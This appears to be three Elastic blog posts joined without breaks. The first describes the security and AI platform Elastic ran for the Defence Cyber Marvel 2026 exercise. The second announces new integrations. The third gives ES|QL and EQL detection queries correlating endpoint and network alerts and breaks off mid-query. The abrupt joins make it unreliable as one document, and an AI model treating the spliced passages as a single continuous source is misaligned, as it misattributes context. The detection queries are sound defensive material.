      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
    vault = {
      source  = "hashicorp/vault"
      version = "~> 3.20"
    }
    cloudflare = {
      source  = "cloudflare/cloudflare"
      version = "~> 5.15.0"
    }
  }

  backend "s3" {
    bucket  = "elastic-terraform-state-dcm5"
    key     = "prod/terraform.tfstate"
    region  = "eu-west-2"
    encrypt = true
  }
}

The total resource footprint managed by Terraform was substantial: one Elastic Cloud deployment with autoscaling, 40 Kibana Spaces, 120 Fleet agent policies (three per team), 400+ integration policies, 40 Kibana security roles, 40 Keycloak role mappings, ILM policies for data retention, 41 AWS IAM users for Bedrock GenAI connectors (one per team space plus a default), 41 Kibana GenAI action connectors, AWS Bedrock guardrails, Cloudflare Zero Trust tunnels for Tines access, Tines action connectors per team space, detection service accounts stored in HashiCorp Vault, and per-space Security Solution default index configuration. All state was stored in an encrypted S3 backend.

For the agent and proxy deployment onto the actual range systems, we used Catapult, an excellent open-source tool built by the team at Clarified Security. Catapult wraps Ansible with a container-based execution model that's purpose-built for cyber range deployments. It handled the installation and enrolment of Elastic Agents across the range infrastructure. The configuration of proxy servers (each team had a dedicated Squid proxy for its deployed network, this was to simulate a single point of egress as it would be in the real world. Traffic was routing through endpoints like http://elastic-proxy.dsoc.XX.dcm.ex:3128), and the deployment of Cloudflare tunnels for Tines connectivity.

During provisioning, the following were written to HashiCorp Vault by Terraform and consumed by Catapult: Credentials, enrolment tokens, API keys, proxy configurations, Tines service account credentials.. The Vault paths followed a consistent structure like dcm/gt/elastic/prod/enrollment_tokens/BT-XX-Deployed and dcm/gt/elastic/tines-sa/tines-sa-btXX, making it straightforward for the Catapult playbooks to pull the right credentials for each team.

Training: setting teams up for success

Deploying the platform is one thing; ensuring people can actually use it is another. We provided on-range, instructor-led training to the Blue Teams during the pre-exercise phase. This covered Elastic Security fundamentals, navigating their team space in Kibana, working with the prebuilt detection rules, using Discover for log analysis and threat hunting, building custom dashboards, understanding Elastic Defend alerts, and getting familiar with the Timeline investigation tool.

The exercise instruction itself noted this training was optional but "highly recommended," and from what we saw, the teams who attended absolutely hit the ground running on Day one of execution. Training and enablement are just as important as the technology deployment itself. Handing a team enterprise-grade security tooling which they don't know how to use would'nt have been helpful for anyone.

The On-Range AI service: Compliant, audited, Guardrailed

This year marked our debut in providing AI access to the DCM range. We provided a compliant AI service directly on the range, backed by UK-tenanted AWS Bedrock models - specifically Claude 3.7 Sonnet running in the eu-west-2 (London) region. This wasn't AI for the sake of AI; it was a carefully architected service with guardrails, complete audit logging, and RBAC-aware access controls. We were trusted with running this service due to Elastic's experience in the AI space.

The AI service had multiple consumers on the range, and this is an important distinction. The compliant Bedrock connector we provisioned into each team's space wasn't just powering our custom agents - it also powered Elastic's native AI features, specifically:

Elastic AI Assistant for Security

The Elastic AI Assistant was available in every Blue Team space, connected to our on-range Bedrock connector. This gave teams a context-aware chat interface directly within Elastic Security where they could ask questions about their alerts, get help writing ES|QL queries, investigate suspicious processes, and get guided remediation steps. The AI Assistant uses Retrieval-Augmented Generation (RAG) with Elastic's Knowledge Base feature, which is pre-populated with articles from Elastic Security Labs. Teams could also add their own documents, such as range-specific SOPs, threat intel, or team notes, to the Knowledge Base to further ground the assistant's responses in their operational context.

What made this particularly valuable in the exercise context was the AI Assistant's ability to help less experienced analysts understand what they were looking at. A junior analyst facing their first live implant beacon could ask the assistant to explain the alert, suggest investigation steps, and even help draft the incident report. The data anonymisation settings ensured that sensitive field values could be obfuscated before being sent to the LLM provider.

Elastic Attack Discovery

Attack Discovery was another significant consumer of our on-range AI service. Attack Discovery uses LLMs to analyse alerts in a team's environment and identify threats by correlating alerts, behaviours, and attack paths. Each "discovery" represents a potential attack and describes relationships among multiple alerts - telling teams which users and hosts are involved, how alerts map to the MITRE ATT&CK matrix, and which threat actor might be responsible.

For a cyber exercise in which Red Teams actively launched coordinated attacks, Attack Discovery was transformative. Instead of manually triaging hundreds of individual alerts, Blue Teams could run Attack Discovery to surface the high-level attack narratives, for example, "these 15 alerts are all part of a lateral movement chain from host X to host Y, likely by threat actor Z", and focus their investigation time where it mattered most. It's the kind of capability that directly reduces mean time to respond, and fights alert fatigue, which is precisely what you need when you're under sustained attack for five days straight.

The custom AI agents: Elastic Agent Builder

Beyond the native Elastic AI features, we built three bespoke AI agents using Elastic Agent Builder. Agent Builder is Elastic's framework for building custom AI agents that combine LLM instructions with modular, reusable tools, each tool being an ES|QL query, a built-in search capability, workflow execution, or an external integration via MCP. Agents parse natural language requests, select the appropriate tools, execute them, and iterate until they can provide a complete answer, all while managing context with data inside Elasticsearch. You can read more about the framework in the Agent Builder documentation and the Elasticsearch Labs deep dive.

The three key components of Agent Builder that we leveraged were:

Agents: Custom LLM instructions and a set of assigned tools that define the agent's persona, capabilities, and behaviour boundaries. Each agent has a system prompt that controls its mission, the tools it can access, and the structure of its responses.

Tools: Modular functions that agents use to search, retrieve, and manipulate Elasticsearch data. We built custom ES|QL tools that queried specific indices containing exercise documentation, playbooks, and reports.

Agent Chat: The conversational interface - both the built-in Kibana UI and the programmatic API - that participants used to interact with the agents.

Agent and tool configurations are defined as JSON and managed via the Agent Builder APIs, making the entire agent lifecycle - from prompt engineering to tool binding - reproducible and version-controllable. We'll share the GrantPT agent configuration and tool definitions in a follow-up post for those who want to replicate this approach - watch this space.

Here's what each agent did:

1. GrantPT - The general-purpose assistant

Available to all ~2,500 exercise participants, GrantPT was our primary AI agent and the best demonstration of how straightforward Agent Builder makes it to stand up a capable, domain-specific assistant. The agent's configuration consisted of a JSON object defining its system prompt, persona, and an array of bound tool IDs - that's it. No custom application code, no bespoke API layer, just declarative configuration.

What gave GrantPT its depth was the tooling. We defined a mix of built-in platform tools and custom ES|QL tools, each registered with a description, a parameterised query, and typed parameter definitions. For example, the knowledge base tool accepted a target_index and a semantic query parameter, executing a parameterised ES|QL query against our dcm5-grantpt-* indices with semantic search ranking:

FROM dcm5-grantpt-* METADATA _score, _index
| WHERE _index == ?target_index
| WHERE content: ?query
| SORT _score DESC
| LIMIT 10

A separate index discovery tool let the agent dynamically enumerate available knowledge base indices at the start of each conversation, meaning we could add new documentation indices during the exercise without reconfiguring the agent; it would simply discover them on the next interaction.

We also built a Jira integration tool that performed semantic search across ingested helpdesk tickets, enabling GrantPT to surface relevant troubleshooting context from prior support requests. This was particularly useful for the HelpDesk Analysts, who could ask GrantPT about recurring issues and get responses grounded in actual ticket history rather than generic guidance.

The RBAC-tailored response behaviour came from a combination of the agent's system prompt, which instructed it to contextualise answers based on the user's role, and the underlying Elasticsearch security model. Because each tool's ES|QL query is executed within the user's security context, the agent can only surface documents accessible to the user's role. A Blue Team member asking about exercise procedures would get results scoped to their team's accessible indices, whilst a HelpDesk Analyst would see results from helpdesk-specific indices. The agent didn't need explicit role-switching logic; Elasticsearch's native document-level security handled scoping, and the agent simply worked with whatever results were returned. This is one of the things that makes Agent Builder genuinely elegant - by inheriting Elasticsearch's security model, you get RBAC-aware AI without writing a single line of authorisation code.

2. REDRock - The adversary's companion

This agent was exclusively available to Red Teams. REDRock followed the same Agent Builder pattern, a dedicated system prompt defining its adversarial persona, bound to its own set of custom ES|QL tools querying Red Team-specific indices. These indices contained the Red Team playbooks, Tuoni C2 documentation, known system vulnerabilities within the range environment, and information about deployed services. The tool definitions mirrored the same parameterised semantic search pattern used by GrantPT, but were scoped to indices accessible only to Red Team roles. Red Team operators could query attack vectors, check for known weaknesses in target systems, and get contextual guidance on their operational plans. It was, quite frankly, like giving the attackers an extremely well-briefed operations officer.

3. RefPT - The referee's tool

Built specifically for the White Team (the exercise referees and assessors), RefPT was bound to tools querying indices containing Blue Team reports, scenario events, and the scoring criteria. Its purpose was to ensure uniform and fair scoring across all 40+ teams. The agent's system prompt was tuned to cross-reference submitted reports against known scenario events and scoring rubrics, helping assessors identify inconsistencies or gaps. When you've got assessors evaluating dozens of teams simultaneously, having an AI that can correlate reports against a structured scoring index is genuinely transformative for consistency.

Tines: AI-powered workflow automation

Tines was also a consumer of the on-range AI service. Each Blue Team had a dedicated Tines instance, with Tines action connectors provisioned in their Kibana space. Tines could leverage the Bedrock-backed AI capabilities for intelligent workflow automation, such as automated alert enrichment, AI-assisted triage decisions, natural-language summaries in notification workflows, and natural-language workflow creation. The Tines connector was configured per-team with credentials stored in Vault:

resource "elasticstack_kibana_action_connector" "tines_bt" {
  count = var.team_count

  name              = "BT-${local.team_numbers[count.index]}-Tines"
  connector_type_id = ".tines"
  space_id          = local.space_ids[count.index]

  config = jsonencode({
    url = "https://tines.dsoc.${local.team_numbers[count.index]}.dcm.ex/"
  })
}

Ensuring compliance: Guardrails and audit

Every AI interaction across all of these consumers was governed by strict AWS Bedrock Guardrails. We deployed guardrails with content filtering (hate, insults, sexual content, and violence at MEDIUM thresholds), PII protection (blocking email addresses, phone numbers, names, addresses, UK National Insurance numbers, credit card numbers, and IP addresses), topic-based filtering to prevent discussion of actual classified operations, and profanity filtering. Here's a snippet of the guardrail configuration from our Terraform:

resource "aws_bedrock_guardrail" "dcm5_elastic" {
  name        = "dcm5-prod-elastic-guardrail"
  description = "Guardrails for DCM5 Prod Elastic Kibana GenAI connectors"

  content_policy_config {
    filters_config {
      input_strength  = "MEDIUM"
      output_strength = "MEDIUM"
      type            = "HATE"
    }
    # ... additional content filters for INSULTS, SEXUAL, VIOLENCE
  }

  sensitive_information_policy_config {
    pii_entities_config {
      action = "BLOCK"
      type   = "UK_NATIONAL_INSURANCE_NUMBER"
    }
    pii_entities_config {
      action = "BLOCK"
      type   = "IP_ADDRESS"
    }
    # ... additional PII filters
  }

  topic_policy_config {
    topics_config {
      name       = "classified-information"
      definition = "Discussions about actual classified operations, current real-world military activities, or operational intelligence."
      type       = "DENY"
    }
  }
}

Each Blue Team space had its own IAM user for Bedrock access, and the genAiSettings:defaultAIConnectorOnly Kibana setting was enforced to prevent teams from configuring their own connectors. This meant every single API call could be traced back to a specific team via CloudWatch, and the NSOC had complete audit visibility. The CloudWatch log group /aws/bedrock/grantpt-prod/invocations captured every invocation and guardrail event.

The numbers for all AI consumers speak for themselves: 3 custom AI Agents, 2,797 conversations, and 785 million AI tokens consumed throughout the exercise.

In-game real-time monitoring

Within the exercise scenario, each team had access to RocketChat as their on-range messaging client. Every Blue Team got its own channel, the ability to direct message anyone in the exercise, and the freedom to spin up new channels as needed. Most critically for DCM tradition, this included the memes channel - the spiritual backbone of all inter-team ribbing and the creative morale-boosting humour that inevitably emerges when you put a few thousand cyber operators under pressure for a week.

All of this communication data represented a brilliant real-time window into range health, team sentiment, and the topics trending across the exercise. It felt too good to pass up, so we ingested the entire RocketChat conversation corpus into Elastic in real time and put it to work.

Sentiment analysis and named entity recognition

For named entity recognition, we deployed the dslim/bert-base-NER model from Hugging Face into a machine learning node on the NSOC deployment using the Elastic ELAND client. This was then wired into an Elasticsearch ingest pipeline that every RocketChat message passed through on ingestion. We took the extracted entities and surfaced the most common ones as dashboard themes, giving us a live view of the ebb and flow of conversation topics throughout the exercise.

We also analysed group activity, user statistics, and general communication patterns to build a picture of life patterns for each team - most active participants, message volume over time, and sentiment trends pivoted by individual users. All told, it gave us some genuinely interesting insight into what was happening on the range in near real time. When we switched Elastic Agent into Prevent mode, for instance, a word cloud on our dashboard immediately lit up with "Elastic" as the most discussed theme across all channels - Blue Teams discussing its effectiveness, Red Teams lamenting their lost beacons. Rather satisfying, that.

Meme analysis (yes, really)

Finally - and this one raised a few eyebrows - we pulled every meme submitted to the channels, vectorised the images, and ran nearest-neighbour evaluations to cluster similar memes and topics together. We also passed them through the zero-shot NER inference model to generate thematic descriptions of each meme's content. The logic was that these outputs might prove useful later for filtering, moderation, or other in-game interactions. Whether the meme analysis yielded operationally critical intelligence is debatable. Whether it was good fun is not.

Nipping problems in the bud

As much as we hoped everything would run smoothly during exercise week, things inevitably break, aren't fully understood, or need further customisation to suit how a particular team wants to use them. For this, we had our own subsection of the in-range helpdesk where Elastic and GenAI-specific requests could be raised by any team.

We manned this helpdesk for the entire duration of the exercise, providing guidance, documentation, issue debugging, and range-specific recommendations. That last point is worth expanding on. Sometimes, what a Blue Team was seeing in Elastic wasn't actually an Elastic problem at all, but rather Elastic faithfully surfacing something on the range that warranted further investigation (Red Teams can cause absolute mayhem, and the telemetry doesn't lie). Over the course of the exercise, we covered 125 individual support requests from teams specifically asking for help from us at Elastic.

Pre-emptive debugging with Tines

Beyond visiting teams via VTC or in person at EXCON, we also worked with Tines to try something a bit more proactive. We pulled the ticket body from incoming requests, attempted to categorise the problem, ran the categorisation against our corpus of previously resolved tickets, and had GenAI produce a summarised first-pass response aimed at solving the user's issue before triage brought it to our queue.

This is actually a pattern we borrowed from our own support organisation at Elastic, where we provide a similar capability using our extensive knowledge base of previously solved issues as a repository for supporting AI Agent context. The idea is straightforward: use past solutions to give a machine-generated, informed first stab at resolving a problem, and short-circuit the need for a support engineer to pick up every ticket manually. It didn't solve everything; some issues genuinely needed a human with range context, but it meaningfully reduced the queue pressure and got faster answers to the teams who needed them. This was such a success with our own specific tickets and queue that we actually extended the remit to the entire helpdesk in the latter part of the exercise, helping to reduce the load on the other groups in the Green team supporting the exercise.

Industry partnerships: Better together

One of the things we're most proud of is how our partnership ecosystem has grown year on year. DCM is not just an Elastic show; it's a genuine coalition of industry partners, each bringing something unique to the security platform.

Year 1 (DCM2) - Elastic joined as an industry partner, providing the security monitoring and endpoint detection platform.

Year 2 (DCM3) - We brought in Endace, providing 1:1 packet capture capability. Full packet capture alongside Elastic's network visibility gave teams the ability to conduct deep-dive forensics that log-based analysis alone can't provide.

Year 3 (DCM4) - Tines joined the family, bringing workflow automation to the table. Blue Teams could now build automated response playbooks, triage workflows, and notification chains, all integrated directly into their Elastic environment via the native Tines connector.

Year 4 (DCM26, formerly DCM5) - AWS came on board, providing Bedrock access for our AI agents and contributing funding towards the Elastic deployments. This was a significant milestone; having a hyperscaler directly invested in the exercise's success unlocked capabilities (such as compliant, UK-tenanted AI inference with full guardrails and audit logging) that simply wouldn't have been possible otherwise. Tines' integration this year was also enhanced by the addition of on-range access to LLMs. The DCM series also reached a milestone this year, transitioning from its origins as an Army Cyber Association initiative to an officially funded programme under Cyber and Specialist Operations Command.

To the teams at Endace, Tines, and AWS - sincere thanks. This exercise is better because of your contributions, and all Teams are better equipped because of the platform we've built together. We're already planning for DCM27. Cheers to the lot of you.

Culture, highlights, and the bits that make it worthwhile

The Challenge Coins

We had custom challenge coins minted for DCM26. If you know, you know, challenge coins are a long-standing military tradition, and having one made for the exercise felt like the right way to mark our fourth year of involvement.

The cocktail party

We were also grateful to be invited to the High Commission cocktail party hosted by the British High Commissioner to Singapore. There's something quite surreal about discussing Elasticsearch shard counts and Terraform state management whilst holding a gin and tonic at the ambassador's invitation. It was a brilliant evening, a genuine reminder that these exercises exist at the intersection of technology and diplomacy, and that the relationships built here extend well beyond the technical.

Wrapping up

The multi-tenanted architecture proved itself under sustained load; the native Elastic AI features (AI Assistant and Attack Discovery) gave teams capabilities that would have been science fiction a few years ago; and the custom AI agents exceeded our expectations for adoption. The partnership model continues to demonstrate that industry involvement in defence exercises creates outcomes that no single organisation could achieve alone.

Defence Cyber Marvel 2026 was a landmark iteration of an exercise that continues to grow in ambition, complexity, and impact. For Elastic, being trusted to provide the core defensive security platform for 40 Blue Teams from 29 nations, and this year, the AI capability as well, is something we don't take lightly. The exercise develops real skills for real people who will go on to defend real networks, and being a part of that mission is genuinely meaningful.

As the UK Government's press release put it, DCM demonstrates the practical value of real-life scenarios that reinforce international partnerships. We couldn't agree more.

We'll be back next year, and I suspect we'll have even more to talk about. In the meantime, we'll continue to improve the product so that support for environments such as Defence Cyber Marvel excels year over year.

See you on the range.

Follow the DCM26 story on social media:

Facebook | LinkedIn | Instagram

Further reading

Elastic Security & AI

• Elastic Security - The platform powering the Blue Team deployments
• AI Assistant for Security - Context-aware AI chat within Elastic Security
• Attack Discovery - LLM-powered alert correlation and threat narrative generation
• Agent Builder - Framework for building custom AI agents with Elasticsearch

Infrastructure & Tooling

• Elastic Stack Terraform Provider - Infrastructure as Code for the Elastic Stack
• Elastic Fleet Guide - Centrally managing Elastic Agents at scale
• Catapult by Clarified Security - Ansible-based cyber range provisioning

Exercise Context

• UK Government DCM26 Press Release - Official overview of the exercise

Security teams can only protect what they can see. Gaps in coverage, like a macOS fleet generating logs that never reach your SIEM, an email gateway running in isolation, or a cloud environment producing findings that stay siloed in the vendor console, are easily exploited by attackers.

Elastic’s answer to this is continuous and open investment in third-party integrations, built on the belief that a strong security ecosystem requires deep integrations that make data from every corner of the stack searchable and contextualized. Today, we’re announcing nine new integrations for Elastic Security spanning cloud security, endpoint visibility, email threat detection, identity and SIEM.

Each integration ships with ingest pipelines that normalize and structure data out of the box, along with prebuilt dashboards that serve as an immediate starting point for visualization and analysis, so teams can search, correlate and investigate across new data sources from day one without writing or maintaining parsers.

macOS Security Events

Elastic Defend, the native integration that delivers Elastic Endpoint Security, collects rich security telemetry on macOS, and it is intentionally focused on high-value detection signals rather than full system auditing. Login and logout events, account creation and deletion, service registration changes and application diagnostic logs all live outside that scope, leaving threat hunters and IR teams without complete macOS context. The macOS Security Events integration complements Elastic Defend, providing the same depth of OS-level visibility offered to Windows devices via the Windows Event Logs integration.

MacOS endpoints generate tens of thousands of unified log entries per endpoint. Left unfiltered, that volume creates noise rather than signals. This integration ships with predicate-based filters that scope ingestion to security-relevant events: authentication activity, process execution, network connections, file system changes, and system configuration modifications.

These predicate-based filters enable comprehensive macOS coverage without the cost or complexity of ingesting everything. Once ingested, these events are immediately available to Elastic Security’s AI Assistant. Analysts can ask natural-language questions like "Show me all privilege escalation attempts on macOS endpoints in the last 24 hours" or "Summarize login failures for this host”, turning raw unified log entries into actionable investigation context without writing a single query.

Check out the macOS Security Events integration.

IBM QRadar

For teams running IBM QRadar in parallel with Elastic Security, alert ingestion into Elastic has become easier. The QRadar integration collects offense records from QRadar’s offense and rules endpoints, enriching each alert with the triggering rule’s name, ID, type and ownership, so analysts can triage in Elastic without switching back to QRadar.

This integration is the foundation of Elastic’s SIEM migration workflow for QRadar, which mirrors the capability already available for Splunk. Teams can also use Automatic Migration for migrating their QRadar rules into Elastic. It uses semantic search and generative AI to map existing rules to Elastic’s 1,300+ prebuilt detections, and translates anything that doesn’t map directly into ES|QL, allowing you to consolidate your SIEM footprint without manually rebuilding your entire detection library.

Check out the IBM QRadar integration.

Proofpoint Essentials

For Enterprise customers, Proofpoint’s TAP (Targeted Attack Protection) has been available in Elastic. To provide the same email threat visibility to SMB environments and the MSP and MSSPs who serve them, Proofpoint Essentials is now available.

The Proofpoint Essentials integration streams four event types into Elastic Security:

• Clicks on malicious URLs that were blocked
• Clicks that were permitted
• Messages blocked for containing threats recognized by URL Defense or Attachment Defense
• Messages delivered despite containing those threats

To easily surface this data, two prebuilt dashboards are available:

For an SMB SOC team, this means phishing attempts, malware detections and policy violations land in the same platform as the rest of your security telemetry, removing the need to switch platforms to understand the full context of a threat.

Check out the Proofpoint Essentials integration.

AWS Security Hub

AWS Security Hub aggregates findings across your AWS environment, but investigating those findings means staying inside the AWS console, separate from the rest of your team’s security data. The Elastic integration changes this by pulling Security Hub findings into Elastic in Open Cybersecurity Schema Framework (OCSF) format and normalizing them to ECS, offering schema-consistent data that’s immediately searchable via ES|QL.

Findings land in the Elastic Vulnerability Findings page, integrating AWS cloud security posture directly into the workflows already in place. From there, you can correlate Security Hub data with signals from other sources - endpoint alerts, identity events, network telemetry - to build a fuller picture of risk across your AWS environment and investigate faster than the native console allows.

Check out the AWS Security Hub integration.

More new Elastic Security integrations

In addition to the featured integrations above, the following integrations are now available, each shipping with prebuilt dashboards for immediate value:

• JupiterOne: Asset intelligence and cloud attack surface monitoring, ingesting cross-tool alerts, CVE findings, and threat detections enriched with MITRE ATT&CK mappings and CVSS scores, and host context for unified risk visibility.
• Airlock Digital: Application allowlisting and execution control telemetry, capturing blocked process executions with command lines, file hashes and publisher context, so unauthorized execution attempts are visible and correlatable alongside the rest of your endpoint detections.
• Island Browser: Enterprise browser security events spanning user navigation, device posture, compromised credential detection and admin activity, extending Elastic’s visibility to BYOD and unmanaged devices where traditional endpoint agents can’t be deployed.
• Ironscales: AI-powered phishing detection events capturing email metadata, sender reputation, affected mailbox counts and suspicious links, correlatable with endpoint and identity data for faster investigation and response.
• Cyera: Data security posture management events, surfacing sensitive data risks including exposure severity, affected record counts, compliance framework violations, and datastore ownership across cloud environments, so sensitive data exposure doesn’t stay siloed in a separate DSPM console.

Get started

These integrations Elastic’s open approach to security. All nine integrations in this roundup ship with prebuilt dashboards and native ECS mappings, giving your team immediate visibility with no additional setup or custom visualization work required.

From there, findings, alerts and logs are immediately available to Elastic’s broader detection and investigation capabilities: Attack Discovery for surfacing multi-stage threats, AI Assistant for natural-language investigation and guided response, and to ES|QL and EQL for custom detection and hunting queries.

• Browse available integrations
• Learn about migrating to Elastic Security from other SIEMs

Have questions or feedback? Join #security-siem in the Elastic Stack Community Slack.

The result is powerful visibility but also significant alert volume. From our telemetry, even when considering only non Building Block Rules, 65 unique detection rules generate nearly 8000 alerts per day per production cluster. Analyzing each alert in isolation is neither scalable nor cost-effective.

This is where Higher-Order Rules come into play.

Higher-order rules do not detect a single behavior. Instead, they correlate related alerts over time, across data sources, or within a shared context (such as host, user, IP, or process). By grouping signals into meaningful patterns, we can prioritize what truly matters and reduce the need for deep, expensive analysis on every individual alert whether performed manually, automated, or augmented by AI.

In this blog, we’ll walk through our approach to building Higher-Order Rules in Elastic, share practical examples, and highlight key lessons learned along the way.

What Are Higher-Order Rules?

Higher-Order Rules (HOR) are detections that use alerts as input, either correlating alerts with other alerts (alert-on-alert) or combining alerts with additional data such as raw events, metrics, or contextual telemetry.

Unlike atomic rules that detect a single behavior, Higher-Order Rules identify patterns across signals. Their purpose is not to replace base detections, but to elevate combinations of findings that are more likely to represent real attack activity. In practice, they surface higher-confidence findings and improve triage prioritization. Higher-Order rules are designed to work alongside Building Block Rules. Building block rules generate alerts that do not appear in the default alerts view, reducing noise while still feeding correlated detections. Many of the base rules referenced in this article can be also configured as building block rules, so that only Higher-Order correlations surface for analyst review.

The core insight is that independent detections converging on the same entity compound confidence, where each additional signal multiplies the likelihood that the activity is real, not benign.These three design principles operationalize that insight:

1. Entity-Based Correlation

Rules correlate activity by shared entities such as host, user, source IP, destination IP, or process - allowing analysts to quickly see when multiple findings converge on the same asset or identity.

2. Cross–Data Source Visibility

Some rules operate within a single integration (for example, endpoint-only detections from Elastic Defend or third-party EDR). Others intentionally combine signals across domains endpoint with network (PANW, FortiGate, Suricata), endpoint with email, or endpoint with system metrics to capture multi-stage or cross-surface activity.

3. Time and Prevalence Awareness

Temporal logic plays a key role.

Newly observed rules highlight the first occurrence of a given alert within a defined lookback window (for example, five days), ensuring that even a single rare alert is surfaced for review.

Prevalence-based logic (such as using INLINE STATS) filters for alerts that occur on only a small number of hosts globally, helping reduce noise and emphasize anomalous behavior.

The full set of Higher-Order Rules spans endpoint-only correlations, cross-domain detections (endpoint + network, endpoint + email), lateral movement patterns (for example, alert_1 host.ip = alert_2 source.ip), ATT&CK-aligned groupings (single or multi-tactic activity), newly observed alerts, and alert-to-event correlation (such as alerts combined with abnormal CPU metrics). The following sections walk through representative examples from these categories.

Correlation and Newly Observed Higher-Order Rules

In practice, high-risk activity does not always look the same.

Sometimes compromise reveals itself through multiple converging signals. Other times, it appears as a single alert that has never been seen before.

To handle both realities, we organize our Higher-Order Rules into three complementary patterns:

• Correlation rules multiple alerts or events linked to a shared entity (host, user, IP, or process).
• Newly observed rules a single alert that is rare or first-seen within a defined time window.
• Hybrid patterns combining correlation with first-seen logic, which can further elevate suspicion and surface particularly interesting activity.

Correlation rules raise confidence through signal density and diversity: when several independent detections point to the same entity, the likelihood of real malicious activity increases.

Newly observed rules address the opposite case, low volume but high novelty. They prioritize alerts based on rarity over time, ensuring that first-time or highly unusual detections are not overlooked simply because they occur once.

Together, these approaches form the foundation of an efficient and scalable triage strategy.

Let’s dive into examples and explore the differences, strengths, and trade-offs of each pattern.

Endpoint Alerts Correlation

A significant portion of real-world attack discovery comes from endpoint telemetry. It provides rich context process activity, command lines, file behavior, and user actions making it one of the most powerful detection sources.

At the same time, endpoint environments are dynamic. Legitimate software, admin tools, and third-party applications (and recently GenAI endpoint utilities 🥲) can generate high alert volume and false positives, requiring continuous tuning.

Higher-Order correlation helps address this by shifting the focus from individual alerts to multiple distinct signals on the same host or process increasing confidence while reducing unnecessary investigation effort.

The following ES|QL query triggers when there are 3 unique Elastic Defend behavior rules OR alerts from different features (e.g. one shellcode_thread with behavior, malicious_file with behavior) OR more than 2 malware alerts in a 24h time Window from the same host:

from logs-endpoint.alerts-* metadata _id
| eval day = DATE_TRUNC(24 hours, @timestamp)
| where event.code in ("malicious_file", "memory_signature",  "shellcode_thread", "behavior") and 
 agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus")
| stats Esql.alerts_count = COUNT(*),
        Esql.event_code_distinct_count = count_distinct(event.code),
        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
        Esql.file_hash_distinct_count = COUNT_DISTINCT(file.hash.sha256),
        Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id, day
| where (Esql.event_code_distinct_count >= 2 or Esql.rule_name_distinct_count >= 3 or Esql.file_hash_distinct_count >= 2)

To further raise suspicion, we can also correlate Elastic Defend alerts that belong to the same process tree:

from logs-endpoint.alerts-*
| where event.code in ("malicious_file", "memory_signature", "shellcode_thread", "behavior") and
        agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus") and process.Ext.ancestry is not null

// aggregate alerts by process.Ext.ancestry and agent.id
| stats Esql.alerts_count = COUNT(*),
        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
        Esql.event_code_distinct_count = COUNT_DISTINCT(event.code),
        Esql.process_id_distinct_count = COUNT_DISTINCT(process.entity_id),
        Esql.message_values = VALUES(message),
   ... by process.Ext.ancestry, agent.id

// filter for at least 3 unique process IDs and 2 or more alert types or rule names.
| where Esql.process_id_distinct_count >= 3 and (Esql.rule_name_distinct_count >= 2 or Esql.event_code_distinct_count >= 2)

// keep unique values
| stats Esql.alert_names = values(Esql.message_values),
        Esql.alerts_process_cmdline_values = VALUES(Esql.process_command_line_values),
... by agent.id
| keep Esql.*, agent.id

Example of matches:

To complement our coverage, we will need to also look for rare atomic ones. The following ES|QL is designed to run on a 10-minute schedule with a 5 or 7 day lookback window. The lookback aggregates all alerts by rule name over the full window to compute first-seen time. The final filter (Esql.recent <= 10) ensures only rules whose first-seen time falls within with current 10-minute execution window are surfaced, effectively detecting the moment a rule fires for the first time in the lookback period. This surfaces both rare false positives and stealthy behaviors that might otherwise be lost in volume:

from logs-endpoint.alerts-*
| WHERE event.code == "behavior" and rule.name is not null
| STATS Esql.alerts_count = count(*),
        Esql.first_time_seen = MIN(@timestamp),
        Esql.last_time_seen = MAX(@timestamp),
        Esql.agents_distinct_count = COUNT_DISTINCT(agent.id),
        Esql.process_executable = VALUES(process.executable),
        Esql.process_parent_executable = VALUES(process.parent.executable),
        Esql.process_command_line = VALUES(process.command_line),
        Esql.process_hash_sha256 = VALUES(process.hash.sha256),
        Esql.host_id_values = VALUES(host.id),
        Esql.user_name = VALUES(user.name) by rule.name
// first time seen in the last 5 days - defined in the rule schedule Additional look-back time
| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now())
// first time seen is within 10m of the rule execution time
| where Esql.recent <= 10 and Esql.agents_distinct_count == 1 and Esql.alerts_count <= 10 and (Esql.last_time_seen == Esql.first_time_seen)
// Move single values to their corresponding ECS fields for alerts exclusion
| eval host.id = mv_min(Esql.host_id_values)
| keep host.id, rule.name, Esql.*

The same logic can be applied to an External Alert from other third party EDRs:

Endpoint with Network Alerts Correlation

A powerful detection approach is correlating endpoint alerts with network alerts. This helps answer the key question:

Which process triggered this network alert?

Network alerts alone often lack process context, such as which user or executable initiated the activity. By combining network alerts with endpoint telemetry (EDR data), you can enrich alerts with:

• Process name and hash
• Command line and parent process
• User and device information

The following query correlates any Elastic Defend alert with suspicious events from network security devices such as Palo Alto Networks (PANW) and Fortinet FortiGate. The join key is the IP address: for network alerts, this is source.ip, for endpoint alerts, it is host.ip. The query normalizes these into a single field using COALESCE, enabling correlation across data sources that use different field names for the same entity. This may indicate that this host is compromised and triggering multi-datasource alerts.

FROM logs-* metadata _id
| WHERE 
 (event.module == "endpoint" and event.dataset == "endpoint.alerts") or
 (event.dataset == "panw.panos" and event.action in ("virus_detected", "wildfire_virus_detected", "c2_communication", ...)) or
 (event.dataset == "fortinet_fortigate.log" and (...)) or
 (event.dataset == "suricata.eve" and message in ("Command and Control Traffic", "Potentially Bad Traffic", ...))
| eval 
      fw_alert_source_ip = CASE(event.dataset in ("panw.panos", "fortinet_fortigate.log"), source.ip, null),
      elastic_defend_alert_host_ip = CASE(event.module == "endpoint" and event.dataset == "endpoint.alerts", host.ip, null)
| eval Esql.source_ip = COALESCE(fw_alert_source_ip, elastic_defend_alert_host_ip)
| where Esql.source_ip is not null
| stats Esql.alerts_count = COUNT(*),
        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
        Esql.message_values_distinct_count = COUNT_DISTINCT(message),
        ... by Esql.source_ip
| where Esql.event_module_distinct_count >= 2 AND Esql.message_values_distinct_count >= 2
| eval concat_module_values = MV_CONCAT(Esql.event_module_values, ",")
| where concat_module_values like "*endpoint*"

Example of matches correlating Elastic Defend and Fortigate alerts where the source.ip of the FortiGate alert is equal to the host.ip of the Elastic Defend endpoint alert :

The following EQL query correlates Suricata alerts with Elastic Defend network events to provide context about the source process and host:

sequence by source.port, source.ip, destination.ip with maxspan=5s
